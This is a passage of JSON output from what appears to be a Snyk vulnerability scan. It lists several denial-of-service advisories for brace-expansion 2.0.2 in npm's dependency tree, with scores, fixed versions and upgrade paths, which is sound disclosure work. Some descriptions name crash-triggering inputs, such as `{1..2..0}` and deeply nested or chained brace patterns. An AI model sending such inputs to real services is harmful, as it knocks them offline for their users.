"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub 